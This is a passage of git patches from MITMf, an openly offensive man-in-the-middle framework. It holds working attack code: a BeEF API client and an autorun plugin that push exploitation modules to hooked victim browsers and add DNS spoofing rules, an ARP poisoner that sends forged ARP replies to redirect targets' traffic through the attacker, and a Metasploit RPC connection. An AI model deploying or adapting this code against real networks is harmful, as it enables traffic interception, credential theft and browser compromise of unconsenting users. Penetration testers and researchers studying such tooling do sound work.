self.get_sessions("offline", "session") - - def session2host(self, session): - return self.conversion(session, "ip") - - def session2id(self, session): - return self.conversion(session, "id") - - def hook_info(self, hook): #Returns parsed information on a session - session = self.conversion(hook, "session") - url = self.hookurl + self.token - r = requests.get(url).json() - - try: - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - if v[1]["session"] == session: - return v[1] - except IndexError: - pass - - def hook_info_all(self, hook): - session = self.conversion(hook, "session") - url = self.url + "hooks/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hook_logs(self, hook): - session = self.conversion(hook, "session") - url = self.url + "logs/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hosts_online(self): - return self.get_sessions("online", "ip") - - def hosts_offline(self): - return self.get_sessions("offline", "ip") - - def host2session(self, host): - return self.conversion(host, "session") - - def host2id(self, host): - return self.conversion(host, "id") - - def ids_online(self): - return self.get_sessions("online", "id") - - def ids_offline(self): - return self.get_sessions("offline", "id") - - def id2session(self, id): - return self.conversion(id, "session") - - def id2host(self, id): - return self.conversion(id, "ip") - - def module_id(self, name): #Returns module id - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["name"] == name: - return v["id"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_name(self, id): #Returns module name - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["id"] == id: - return v["name"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_run(self, hook, mod_id, options={}): #Executes a module on a specified session - try: - session = self.conversion(hook, "session") - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) - return requests.post(url, headers=headers, data=payload).json() - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_results(self, hook, mod_id, cmd_id): - session = self.conversion(hook, "session") - url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) - return requests.get(url).json() - - def modules_list(self): - return requests.get(self.mod_url + self.token).json() - - def module_info(self, id): - url = self.url + "modules/%s?token=%s" % (id, self.token) - return requests.get(url).json() + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + @property def logs(self): - return requests.get(self.log_url + self.token).json() + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs - def conversion(self, value, return_value): #Helper function for all conversion functions - url = self.hookurl + self.token - try: - r = requests.get(url).json() - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - for r in v[1].values(): - if str(value) == str(r): - return v[1][return_value] + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules - except Exception, e: - print "beefapi ERROR: %s" % e +class ModuleList(UserList): - except IndexError: - pass + def __init__(self, mlist): + self.data = mlist - def get_sessions(self, state, value): #Helper function - try: - hooks = [] - r = requests.get(self.hookurl + self.token).json() - for v in r["hooked-browsers"][state].items(): - hooks.append(v[1][value]) + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m - return hooks - except Exception, e: - print "beefapi ERROR: %s" % e + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules + +class SessionList(UserList): + + def __init__(self, slist): + self.data = slist + + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s + + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res + + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res + + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s + + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res + + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res + + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res + + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class Module(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + self.id = data['id'] + self.name = data['name'] + self.category = data['category'] + + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] + + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] + + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() + +class Log(object): + + def __init__(self, log_dict): + self.id = log_dict['id'] + self.date = log_dict['date'] + self.event = log_dict['event'] + self.type = log_dict['type'] + +class DNS_Rule(object): + + def __init__(self, rule, url, token): + self.url = url + self.token = token + + self.id = rule['id'] + self.pattern = rule['pattern'] + self.type = rule['type'] + self.response = rule=['response'] + + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() + +class DNS(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset + + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() + +class Hooked_Browsers(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + +class Session(object): + + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token + + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version + + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() + + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/core/msfrpc.py b/core/msfrpc.py index 51e51c2..aa906c1 100644 --- a/core/msfrpc.py +++ b/core/msfrpc.py @@ -95,7 +95,9 @@ class Msf: ''' def __init__(self): try: - self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) + self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'], + "port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']}) + self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) except Exception as e: shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) diff --git a/mitmf.py b/mitmf.py index 6e21431..a569e2d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -158,9 +158,10 @@ for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() - t = threading.Thread(name='{}-thread'.format(p.name), target=p.startThread, args=(args,)) - t.setDaemon(True) - t.start() + if hasattr(p, 'startThread'): + t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) + t.setDaemon(True) + t.start() print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index c77fcb9..1ff520f 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -21,6 +21,7 @@ import logging import sys import json +import threading from time import sleep from core.beefapi import BeefAPI @@ -44,9 +45,6 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - self.onConfigChange() - - def onConfigChange(self): beefconfig = self.config['MITMf']['BeEF'] @@ -54,73 +52,71 @@ class BeefAutorun(Inject, Plugin): self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not self.beef.login(beefconfig['user'], beefconfig['pass']): - shutdown("[-] Error logging in to BeEF!") + shutdown("[BeEFAutorun] Error logging in to BeEF!") - def startThread(self, options): + def startThread(self): self.autorun() + def onConfigChange(self): + self.initialize(self.options) + def autorun(self): already_ran = [] already_hooked = [] while True: mode = self.config['BeEFAutorun']['mode'] - sessions = self.beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - if session not in already_hooked: - info = self.beef.hook_info(session) - mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) + for hook in self.beef.hooked_browsers.online: - if mode == 'oneshot': - if session not in already_ran: - self.execModules(session) - already_ran.append(session) + if hook.session not in already_hooked: + mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os)) + already_hooked.append(hook.session) + self.black_ips.append(hook.ip) - elif mode == 'loop': - self.execModules(session) - sleep(10) + if mode == 'oneshot': + if hook.session not in already_ran: + self.execModules(hook) + already_ran.append(hook.session) - else: - sleep(1) + elif mode == 'loop': + self.execModules(hook) + sleep(10) - def execModules(self, session): - session_info = self.beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] + sleep(1) + + def execModules(self, hook): all_modules = self.config['BeEFAutorun']["ALL"] targeted_modules = self.config['BeEFAutorun']["targets"] - if len(all_modules) > 0: - mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + if all_modules: + mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip)) + for module, options in all_modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + + for m in self.beef.modules.findbyname(module): + resp = m.run(hook.session, json.loads(options)) + + if resp["success"] == 'true': + mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) + else: + mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) + sleep(0.5) - for os in targeted_modules: - if (hook_browser is not None) and (hook_os is not None): - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) + if (hook.name and hook.os): + for os in targeted_modules: + if (os == hook.os) or (os in hook.os): + mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip)) + + for browser in targeted_modules[os]: + if browser == hook.name: + for module, options in targeted_modules[os][browser].iteritems(): + for m in self.beef.modules.findbyname(module): + resp = m.run(hook.session, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) + else: + mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) + + sleep(0.5) diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index e74c405..c338908 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -48,7 +48,7 @@ class BrowserSniper(BrowserProfiler, Plugin): msfversion = Msf().version() self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - def startThread(self, options): + def startThread(self): self.snipe() def onConfigChange(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index 053adc4..ff0dd97 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -19,10 +19,6 @@ class Plugin(ConfigWatcher, object): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def startThread(self, options): - '''Anything that will subclass this function will be a thread, passed the options namespace''' - return - def clientRequest(self, request): ''' Handles all outgoing requests, hooks connectionMade() From 2f9b8ff77a5bb32b86f71c40294501c3fdf4f418 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 04:35:18 +0200 Subject: [PATCH 054/181] Merged branch webserver into master, the actual built-in webserver isn't ready yet but the changes to the SMB server are, we can now define shares in the config and start the SMB server in Karma mode! \o/ --- core/poisoners/arp/ARPpoisoner.py | 6 +++--- requirements.txt | 1 - 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 668ce48..f9d0509 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -86,7 +86,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) @@ -113,7 +113,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) @@ -138,7 +138,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) diff --git a/requirements.txt b/requirements.txt index 05433f1..1df0c6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,5 +13,4 @@ service_identity watchdog impacket capstone -tornado pypcap \ No newline at end of file From e3aa8ba617ed3644b443030990298405a2dae225 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 13:38:45 +0200 Subject: [PATCH 055/181] fixes #117 --- core/poisoners/arp/ARPpoisoner.py | 186 +++++++++++++++++++++--------- plugins/SSLstrip+.py | 1 + requirements.txt | 1 + 3 files changed, 132 insertions(+), 56 deletions(-) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index f9d0509..8816665 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -1,5 +1,8 @@ import logging import threading + +from traceback import print_exc +from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown from scapy.all import * @@ -10,7 +13,11 @@ class ARPpoisoner(): def __init__(self, gateway, interface, mac, targets): - self.gatewayip = gateway + try: + self.gatewayip = str(IPAddress(gateway)) + except AddrFormatError as e: + shutdown("[ARPpoisoner] Specified an invalid IP address as gateway") + self.gatewaymac = getmacbyip(gateway) self.mymac = mac self.targets = self.getTargetRange(targets) @@ -23,22 +30,26 @@ class ARPpoisoner(): def getTargetRange(self, targets): if targets is None: return None + + try: + targetList = [] - targetList = list() - targets = targets.split(",") - for target in targets: - if "-" in target: - max_range = int(target.split("-")[1]) - octets = target.split("-")[0].split(".") - f3_octets = ".".join(octets[0:3]) - l_octet = int(octets[3]) + for target in targets.split(','): + if '/' in target: + targetList.append(IPNetwork(target)) - for ip in xrange(l_octet, max_range+1): - targetList.append('{}.{}'.format(f3_octets, ip)) - else: - targetList.append(target) + elif '-' in target: + first_half = target.split('-')[0] + second_half = first_half + target.split('-')[1] + targetList.append(IPRange(first_half, second_half)) - return targetList + else: + targetList.append(IPAddress(target)) + + return targetList + + except AddrFormatError as e: + shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target") def start(self): if self.gatewaymac is None: @@ -81,22 +92,43 @@ class ARPpoisoner(): elif self.targets: #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) + for target in self.targets: - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + if type(target) is IPAddress: + targetip = str(target) - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - sleep(0.3) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + try: + targetmac = getmacbyip(targetip) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + print_exc() + pass sleep(self.interval) @@ -108,22 +140,42 @@ class ARPpoisoner(): sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 elif self.targets: - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + for target in self.targets: - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - sleep(0.3) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + if type(target) is IPAddress: + targetip = str(target) + try: + targetmac = getmacbyip(targetip) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + elif targetmac: + send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass sleep(self.interval) @@ -133,21 +185,43 @@ class ARPpoisoner(): sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 def restoreTarget(self, count): - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + for target in self.targets: - elif targetmac: - mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + if type(target) is IPAddress: + targetip = str(target) - send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - sleep(0.3) - send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + try: + targetmac = getmacbyip(targetip) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + elif targetmac: + mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + + send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + + send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index b346b35..78c9de4 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -24,6 +24,7 @@ import logging from plugins.plugin import Plugin from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef +from core.utils import IpTables class HSTSbypass(Plugin): name = 'SSLstrip+' diff --git a/requirements.txt b/requirements.txt index 1df0c6a..5c50c81 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,6 @@ Twisted requests +netaddr scapy msgpack-python dnspython From 5b969e09fb4154a51ebddc61bd2113c5092092f2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 10 Jun 2015 19:42:23 +0200 Subject: [PATCH 056/181] added error handling into ARPWatch, removed a useless (i think) lib from requirements.txt --- core/poisoners/arp/ARPWatch.py | 5 +++-- requirements.txt | 1 - 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 0c45ef6..10470e5 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -82,6 +82,7 @@ class ARPWatch: try: if packet is not None: send(packet, verbose=self.debug, iface=self.interface) - except Exception, e: - mitmf_logger.error("[ARPWatch] Error sending re-poison packet: {}".format(e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e)) pass diff --git a/requirements.txt b/requirements.txt index 5c50c81..8c65b16 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,7 +3,6 @@ requests netaddr scapy msgpack-python -dnspython dnslib configobj Pillow From aa246130e28e1e753ff0d50eccb9a5e945ef98c6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 11 Jun 2015 22:05:22 +0200 Subject: [PATCH 057/181] updated requirements.txt, changed imports to mitmflib --- .gitignore | 58 ++++++++++++++++++++++++++++- core/configwatcher.py | 4 +- core/netcreds/NetCreds.py | 2 +- core/poisoners/arp/ARPWatch.py | 2 +- core/poisoners/arp/ARPpoisoner.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 2 +- core/poisoners/icmp/ICMPpoisoner.py | 2 +- core/servers/dns/DNSchef.py | 2 +- core/servers/smb/KarmaSMB.py | 12 +++--- core/servers/smb/SMBserver.py | 2 +- core/utils.py | 2 +- plugins/Spoof.py | 2 +- requirements.txt | 5 +-- 13 files changed, 75 insertions(+), 22 deletions(-) diff --git a/.gitignore b/.gitignore index fad281d..0860090 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,59 @@ -*.pyc /plugins/old_plugins/ backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ diff --git a/core/configwatcher.py b/core/configwatcher.py index 2da6962..beb8061 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -1,8 +1,8 @@ #! /usr/bin/env python2.7 import logging -from watchdog.observers import Observer -from watchdog.events import FileSystemEventHandler +from mitmflib.watchdog.observers import Observer +from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 451729b..328974b 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote # shut up scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * +from mitmflib.scapy.all import * conf.verb=0 mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 10470e5..55faf04 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -3,7 +3,7 @@ import os import sys import threading -from scapy.all import * +from mitmflib.scapy.all import * from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPpoisoner.py 